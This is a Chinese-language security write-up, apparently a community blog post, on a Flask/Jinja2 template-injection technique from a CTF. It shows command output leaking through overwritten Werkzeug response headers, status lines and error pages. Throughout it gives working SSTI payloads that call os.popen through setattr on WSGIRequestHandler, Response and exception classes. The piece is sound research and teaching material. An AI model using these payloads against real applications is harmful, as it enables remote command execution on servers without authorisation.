扫码领资料
获网安教程
本文由掌控安全学院 - fupanc 投稿
来Track安全社区投稿~
千元稿费!还有保底奖励~(https://bbs.zkaq.cn)
Jinjia2-SSTI响应头带数据
这个利用方式比较新,只要是打jaijia2的ssti应该都能打。
但是以前看过一道java的题,其实思路都是差不多的,就是将回包的响应头的回显改成我们想要的回显。
在Python中的利用,第一次见于2024SCTF的题,原题是flask模板,然后利用了内置的jinjia2引擎,所以这里是可以进行尝试的。
这里先本地搭建一个环境来进行测试,还是一个简单的falsk模板:
from flask import Flask, request,render_template, render_template_string
app = Flask(__name__)
@app.route('/', methods=['POST'])
def template():
template = request.form.get("code")
result=render_template_string(template)
print(result)
if result !=None:
return "OK"
else:
return "error"
if __name__ == '__main__':
app.run(debug=False, host='0.0.0.0', port=8000)
这里都说了是利用回包来进行回显,简单看看回包的结构:
可以看到这里的Server和Date的回显,这里就浮现出了一个想法,自己想想也确实是,在之前做题的时候,这里的体回显的都是这个,所以这里应该是直接”硬编码“在代码中的,flask在处理数据的时候从已定义好的属性中直接获取出来然后添加在请求头里。
再来看看错误的回显:
同样可以看到这里的回显都是有的。
在官方wp中,原出题人的说法如下:在flask中存在一个Server头:
然后这个Server头有两个部分:server_version和sys_version:
这两个值是WSGIRequestHandler类中的属性,这里可以更改环境中的server_version或者sys_version的值来获取回显。
借用出题人的payload来看看这里的回显效果:
code={{g.pop.__globals__.__builtins__.setattr(g.pop.__globals__.sys.modules.werkzeug.serving.WSGIRequestHandler,"server_version",g.pop.__globals__.__builtins__.__import__('o''s').popen('whoami').read())}}
效果如下:
大感惊奇,其实感觉难度应该不高,但是能想到就已经很强了。
现在来跟一下这里的过程。
在源代码中,我们都是通过app.run来运行一个flask程序的,这里跟一下这
里的源代码:
先说明一下flask中的server,分别如下:
- ThreadedWSGIServer
- ForkingWSGIServer
- BaseWSGIServer
这里BaseWSGIServer是另外两个Server的父类。
代码调试
服务初始化
在app.run()方法这里下一个断点,跟进:
这里的options是一个字典,也就是这里是向字典中设置了值,可以看出这里将use_reloader
和use_debugger
设置为了false,然后往options字典中设置进了一个threaded:true
键值对,然后继续跟进后面的run_simple()
方法,传进的几个参数:
前面遇到的几个参数如上,继续跟进调用的run_simple()方法:
后面会调用make_server()方法,看名称有点像初始化服务的感觉,这里重点关注其中的一个点:request_handler
,可以看出来是对请求进行处理的一个地方,但是这里是一个None,跟进一下这个方法:
方法内部:
毫无疑问会调用实例化这里的ThreadedWSGIServer类,但是这里会先实例化BaseWSGIServer类(父类的原因?):
再然后可以看到将handler处理为了WSGIRequestHandler:
这里是将这个赋值为了一个类:
所以现在重点是关注这个handler,在前面的命名来看,这个就是处理请求的(所以后面找处理点直接找这个类即可),继续往后面看,看到一个老熟人:
可以看到这里有将handler类中的protocol_version属性设置值的情况,跟进一下:
可以看到之类是默认的HTTP/1.0,继续往后面走,重点看重要代码
这里又有一个赋值操作,也同样是回包中的一个版本信息,在前面的payload中利用的就是这个。
最后调用完make_server方法,回到serving.py中:
这里不就是启动服务后的回显吗。然后一直往后面调,直到调用了serve_forever()方法:
即如下:
然后到一个地方后就调不动了。猜测这里是服务初始化完成了,是不是该访问一次了。问了一下chatgpt,如下说法:
确实比较符合预期的。那么在这个方法内部打一个断点试试呢。还是没成功。
请求处理
在某次尝试中服务自动断于如下代码:
但是一直没搞清楚调用的逻辑,简单看看过程。
具体就是开始调试,然后访问网址即可,可以看到确实断于如下代码:
这里可以看到调用的三个方法,简单说说可能是用来干嘛的:
- finish_request():顾名思义是用来处理请求的
- handle_error():应该是用来处理异常的,后面再来跟一下。
- shutdown_request():这个是在处理完请求后来关闭的。
后面学到了一个调试方法,娓娓道来,在前面的了解中,可以知道主要是由WSGIRequestHandler类来进行处理请求的。那么现在主要去看这个类的处理:
在这个类的write()方法中,可以看到很多处理的痕迹,比如回包最后的Connection: close
,也是在这里有处理逻辑的代码:
这里调用的send_header()方法就是返回响应头的,后面的end_header()方法应该就是表明结束响应头的”发放“。
那么同理,往回看,同样有调用send_header()方法的操作:
在第一个send_header()方法中,看到了如下的操作:
又看到了发送响应头的地方。
那么现在看一下这里调用的version_string()方法:
是进行的一个拼接操作,调试看一下这里的属性的调用过程:
这里的server_version调用的是WSGIRequestHandler类的server_version()方法:
利用点就是在这里,这里的方法为什么可以利用,重点在于它的@property装饰器
,这个的介绍如下:
这是一个装饰器,使用这个装饰器,可以将一个方法转换为属性,也就是说使用这个装饰器的方法,可以使其在访问时可以像访问属性一样,它把方法包装成属性,让方法可以以属性的形式被访问或调用。
也就是说,这个方法其实就等同于下面这种调用:
self.server_version=self.server._server_version
所以可以直接给它赋str类型的值。后面再来根据过程来给出payload。
现在再简单讲讲调试的事情。
在前面我们了解到了可以处理request的是WSGIRequestHandler类,所以现在就是主要看这个类的代码,其中可以看到在write()方法中看到了send_header()方法,非常符合回包的条件,所以是可以在这里直接打断点来进行调试。
发现在发起请求后确实会调用到这个方法,现在就是看然后就是漫长的调试,可以用一下全局搜索那些来进行打断点调试,还可以看调用栈来跟进代码,调用栈如下:
调试过程还是很简单,这里不多说,主要看其中调用的一步代码:
这个也是前面说过的,主要还是可以调用的其中的几个函数,简单跟一下看参考文章,也许还可以利用这里的handle_error()函数,在报错页面来进行回显。
还是先跟这里的finish_request()函数,具体的过程前面也是说过的了,现在主要问题就是怎么调用,在这里可以通过调用setattr()函数来修改一个属性的值。比较常见的用法就是在运行时动态设置对象的属性。这里就完全符合这里的利用条件。而setattr()函数是内置函数,这里可以先将ssti改成有回显的来获取到setattr()函数:
测试代码如下:
from flask import Flask, request,render_template, render_template_string
app = Flask(__name__)
@app.route('/', methods=["GET"])
def template():
template = request.args.get("code")
result=render_template_string(template)
return result
if __name__ == '__main__':
app.run(debug=False, host='0.0.0.0', port=5000)
在内置空间中找到setattr()内置函数:
现在就是看如何使用这个 setattr 函数了, setattr 函数的定义如下:
setattr(object, name, value)
其中:
- object 是要设置属性的对象
- name 是属性的名称
- value 是要设置的属性值
一个简单的例子:
class A():
name = "fupanc"
a=A()
setattr(a,'nickname','pciwn')
print(a.nickname)
#output:pciwn
setattr函数基本用法如上。所以现在这里就是看在怎么获取到前面的server_version()方法,还是调试,在调试过程中,发现了如下现象:
也看到了方法所属的对象,如下:
werkzeug.serving.WSGIRequestHandler
其次这里如果不改的话server_version
的值则默认为如上图,后面的sys_version
的值默认为Python/3.11.4
。跟进这个server_version
,会调用使用 @property 修饰的方法:
所以这里是可以修改server_version的。如何构建payload呢?现在已经知道了对象,那么怎么获取到对象呢,即怎么获取到werkzeug.serving.WSGIRequestHandler对象,在这里我们可以通过使利用sys模块来获取到相关对象,
就是通过sys模块来获取到相关类,在原型链污染中学习了如何获取到sys模块,所以payload如下:
{{lipsum.__globals__.__builtins__.setattr(lipsum.__spec__.__init__.__globals__.sys.modules.werkzeug.serving.WSGIRequestHandler,"server_version",lipsum.__globals__.__builtins__['__import__']('os').popen('chdir').read())}}
效果如下:
可以看到这里成功在响应头中回显。
同样的还可以利用这个sys_version,只不过这里是直接调用的类的属性:
而不是像server_version一样的“调用方法”。所以payload如下:
{{lipsum.__globals__.__builtins__.setattr(lipsum.__spec__.__init__.__globals__.sys.modules.werkzeug.serving.WSGIRequestHandler,"sys_version",lipsum.__globals__.__builtins__['__import__']('os').popen('chdir').read())}}
效果如下:
均成功修改。
获取sys模块不只这种,同样的还存在于全局变量中,所以其实直接获取即可,如下payload:
{{url_for.__globals__.__builtins__.setattr(url_for.__globals__.sys.modules.werkzeug.serving.WSGIRequestHandler,"sys_version",url_for.__globals__.__builtins__['__import__']('os').popen('whoami').read())}}
同样是可以的:
参考文章的payload如下:
{{g.pop.__globals__.__builtins__.setattr(g.pop.__globals__.sys.modules.werkzeug.serving.WSGIRequestHandler,"server_version",g.pop.__globals__.__builtins__.__import__('os').popen('whoami').read())}}
多看,其实还有很多可以利用。只要本地能通基本就没有问题。
衍生想法
除了上面的回显利用,其实还可以看看有没有其他的地方能利用,比如状态码等,剩下两个可思考的地方,一个是正常回显的响应头来回显,还可以其他比如500页面的回显。还是先看看200页面的吧。
响应头扩展
200页面的回显如下:
在前面给出了Server头的回显payload。看看是否还有其他的方法。
现在还是聚焦于write()方法调用的send_header()方法,重点发送响应头的方法就是这个:
这里可以看到一个code:
发送这个code就是已标注的send_header()方法,跟进如下:
可以知道这里应该就是log_request()和send_reponse_only()方法来发送的,跟进log_request()方法:
可以看到状态码的匹配。然后开始调试,在这里发现了一个重要的点;
最开始看这里的msg的赋值就没有看懂,现在就很好懂了。然后看到这里是利用的self.command
和self.request_version
,和前面很像,可以跟一下,在响应包中有self.request_version
的回显,所以应该是可以利用的,直接试一下如下payload:
{{url_for.__globals__.__builtins__.setattr(url_for.__globals__.sys.modules.werkzeug.serving.WSGIRequestHandler,"request_version",url_for.__globals__.__builtins__['__import__']('os').popen('whoami').read())}}
没成功,有问题。继续往后面跟。后面就到了send_response_only()方法:
简单注意一下这里的_headers_buffer
变量,设置了一个列表。
退出这个函数过后,继续往后面看:
后面的回包中的Date头应该是用不了的,这个是直接调用的方法来进行的计算:
继续回退。
后面还调用了send_header()方法,可以看到一个响应头被发送,但是这个是利用不了的。
现在来进入一下这个send_header()方法:
看方框内的代码,这个不就是前面的send_response_only()方法中的代码吗,所以那个地方应该也是发送响应头的。现在就是,那么应该也是可以利用的,那么现在就是回到send_response_only()方法:
看了一下这里的self.protocol_version
:
就是回显的HTTP/1.1,并且是str类型,所以应该是可以如下利用的:
{{url_for.__globals__.__builtins__.setattr(url_for.__globals__.sys.modules.werkzeug.serving.WSGIRequestHandler,"protocol_version",url_for.__globals__.__builtins__['__import__']('os').popen('whoami').read())}}
成功回显:
前面的所有方法都可以参考下面的文章:
https://xz.aliyun.com/t/15780?time__1311=GqjxnQGQDQO4l6zG7DyDIoavTuemqi%3DabT4D#toc-5
https://xz.aliyun.com/t/15994?time__1311=GqjxcD2DnAY4lxGghDyDIxYTccU2xq3x#toc-6
————————
错误页面回显
比如方法错误的回显:
或者500页面的回显:
HTTP/1.1 500 INTERNAL SERVER ERROR
Server: Werkzeug/3.0.5 Python/3.10.10
Date: Sat, 26 Oct 2024 09:34:30 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 265
Connection: close
500 Internal Server Error
<h1>Internal Server Error</h1>
<p>The server encountered an internal error and was unable to complete your request. Either the server is overloaded or there is an error in the application.</p>
之前自己尝试调没调出来,感觉都是直接赋值好了的。但是其实想一下应该肯定在一个地方有调用的。但是看到一个参考文章有调试出来。参考文章:
https://xz.aliyun.com/t/16325?time__1311=GuD%3D0KAKYK7KiKDsD7%2Bd0%3D%3DYYvRShpn7oD#toc-1
——————
现在来学习一下。刚好补充一下前面错漏的一个知识点:werkzeug是什么:
Werkzeug 是一个用于构建 Python Web 应用程序的 WSGI 工具包,由 Pallets 项目组(同样维护 Flask 和 Jinja2)开发。它为开发者提供了一个底层的、灵活的工具集,用于处理 Web 请求和响应,是许多 Python Web 框架(例如 Flask)的底层依赖。> >简单来说,Werkzeug 是一个基础框架,提供了处理 HTTP 请求、路由、错误处理等功能,帮助开发者快速构建 Web 应用。
在WSGIRequestHandler的request处理中,可以看到如下有关于code的代码:
可以看到这里的code的发送操作,但是这里跟了一段代码,其实并没有赋值操作,并且看了一下调试得到的值,在write()方法一进入就已经是确定了的,但是这个是肯定有一些操作来判断的。所以现在应该是继续往前看。此时就应该去看一下werkzeug库的利用,虽然在falsk中利用的是WSGIRequestHandler类,但是其本质调用的过程应该是差不多的,一个简单的利用WSGI来生成web程序的代码:
# 示例代码:构建一个简单的静态网站
from werkzeug.wrappers import Request, Response
@Request.application
def application(request):
with open('index.html', 'r') as f:
content = f.read()
return Response(content, content_type='text/html')
if __name__ == '__main__':
from werkzeug.serving import run_simple
run_simple('localhost', 5000, application)
所以现在可以看一下werkzeug库的其他API:
1.werkzeug.wrappers
:
Request
: 封装了HTTP请求的所有信息。
Response
: 封装了HTTP响应的所有信息。
2.werkzeug.routing
:
Map
: 用于定义URL路由规则。
Rule
: 定义单个URL路由规则。
MapAdapter
: 用于匹配URL并生成响应。
3.werkzeug.utils
:
cached_property
: 缓存属性值,避免重复计算。
import_string
: 动态导入Python模块或对象。
find_modules
和 find_packages
: 查找模块和包。
secure_filename
: 生成安全的文件名。
4.werkzeug.datastructures
:
MultiDict
: 支持多值的字典。
CombinedMultiDict
: 组合多个MultiDict
对象。
FileStorage
: 封装文件上传的数据。
5.werkzeug.exceptions
:
定义了各种HTTP异常,如NotFound
, BadRequest
, InternalServerError
等。
6.werkzeug.local
:
Local
和 LocalStack
: 提供线程局部存储。
7.werkzeug.test
:
Client
: 用于模拟客户端请求进行测试。
EnvironBuilder
: 构建WSGI环境。
8.werkzeug.middleware
:
提供各种中间件,如SharedDataMiddleware
, ProxyFix
, DebuggedApplication
等
这里重点关注其中两个API:
- werkzeug.wrappers:处理HTTP请求和响应
- werkzeug.exceptions:处理异常,比如500等
所以是非常符合条件的。
最开始先是搜了一下wekzeug库的API在《Werkzeug 文档概览[1]》的Reponse中看到如下说明:
那么是否可以直接利用这个来在状态码回显呢?那么现在就是尝试一下如下payload:
{{url_for.__globals__.__builtins__.setattr(url_for.__globals__.sys.modules.werkzeug.wrappers.Response,"status_code",url_for.__globals__.__builtins__['__import__']('os').popen('whoami').read())}}
但是不对,但是控制台有报错,可以得到如下报错:
虽然结果没对,但是这里至少可以知道思路没错,因为跟Response类的时候看到过如上代码
那么现在就是打断点于get_wsgi_headers()方法,然后再调试成功断于此点:
我看了一下值,有一个特定status返回的特定值代码,但是不是str类型,应该是利用不了的。然后看到了想用的status,感觉这里的status_code是str类型,应该可以利用的,再尝试一下:
{{url_for.__globals__.__builtins__.setattr(url_for.__globals__.sys.modules.werkzeug.wrappers.Response,"status",url_for.__globals__.__builtins__['__import__']('os').popen('whoami').read())}}
但是还是不行,那么继续调试,现在就是跟这个get_wsgi_headers()方法。看了一下此时的调用栈:
前面不就是前面分析的吗。前面没看出来,跟进发现其实是在如下代码处调用的“初始化”的code等响应头:
发送响应头的部分就是后面的write()方法,框内的就是现在需要跟的代码。简单跟了一下调用栈,感觉关键代码在如下:
这里需要跟进get_wsgi_response()方法:
这里就调用了前面提到的get_wsgi_headers()方法,现在再继续跟进,其实可以发现应该还需要再往前:
这个status就已经为405了,找了一圈,没看出来,于是开始看调用栈的代码,在调用finalize_request()方法时看到已经有了状态码的识别:
所以是与这里的preprocess_request()方法有关吗?打个断点来调试一下,发现其实是和preprocess_request()与dispatch_request()方法都没有关系,最终是进入了except:
这里是直接设置成了e?然后看了一下这里的值,因为我先看了一下参考文章,所以这里的description是可以利用的,如下payload:
那么打断点改成需要的post传参试一下呢。一直没找出来。学一下参考文章中的做法:
使用了dir内置函数来查看一个对象内的所有属性和方法,所以直接查看Response类有的方法:
{{url_for.__globals__.__builtins__.dir(url_for.__globals__.sys.modules.werkzeug.wrappers.Response)}}
看到有:
所以这里是可以利用的:
{{url_for.__globals__.__builtins__.setattr(url_for.__globals__.sys.modules.werkzeug.wrappers.Response,"default_status",url_for.__globals__.__builtins__['__import__']('os').popen('whoami').read())}}
成功修改:
所以其实是可以直接在如下代码处看到初始化可以设置的属性:
不多说了,没调试出来。后面再说吧。
还可以在报错页面修改,比如500页面的,主要还是利用的werkzeug.exceptions路由,去看这个文件,可以看到很多有用的地方,比如404:
或者500页面的回显:
等很多的状态码都是可以直接看到的,所以直接修改。
改404页面的(先传payload再人为构造错误页面):
{{url_for.__globals__.__builtins__.setattr(url_for.__globals__.sys.modules.werkzeug.exceptions.NotFound,"description",url_for.__globals__.__builtins__['__import__']('os').popen('whoami').read())}}
效果如下:
或者405的:
{{url_for.__globals__.__builtins__.setattr(url_for.__globals__.sys.modules.werkzeug.exceptions.MethodNotAllowed,"description",url_for.__globals__.__builtins__['__import__']('os').popen('whoami').read())}}
如下:
再或者500的:
{{url_for.__globals__.__builtins__.setattr(url_for.__globals__.sys.modules.werkzeug.exceptions.InternalServerError,"description",url_for.__globals__.__builtins__['__import__']('os').popen('whoami').read())}}
同样可以利用:
主要还是看类的调用。
大概就是这样,错误页面这里的代码没调试出来,水平差了一点。后面有机会再调。
在这里学了两个payload的利用:
状态码的修改:
{{url_for.__globals__.__builtins__.setattr(url_for.__globals__.sys.modules.werkzeug.wrappers.Response,"default_status",url_for.__globals__.__builtins__['__import__']('os').popen('whoami').read())}}
报错内容的修改:
{{url_for.__globals__.__builtins__.setattr(url_for.__globals__.sys.modules.werkzeug.exceptions.NotFound,"description",url_for.__globals__.__builtins__['__import__']('os').popen('whoami').read())}}
等多学习。现在大概的方式就这些,也许会有遗漏的,后面遇到再补吧。
References
[1]
Werkzeug 文档概览: https://werkzeug-docs-cn.readthedocs.io/zh-cn/latest/
申明:本公众号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,
所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法.
没看够~?欢迎关注!
分享本文到朋友圈,可以凭截图找老师领取
上千教程+工具+靶场账号哦
分享后扫码加我!
回顾往期内容
代理池工具撰写 | 只有无尽的跳转,没有封禁的IP!
点赞+在看支持一下吧~感谢看官老爷~
你的点赞是我更新的动力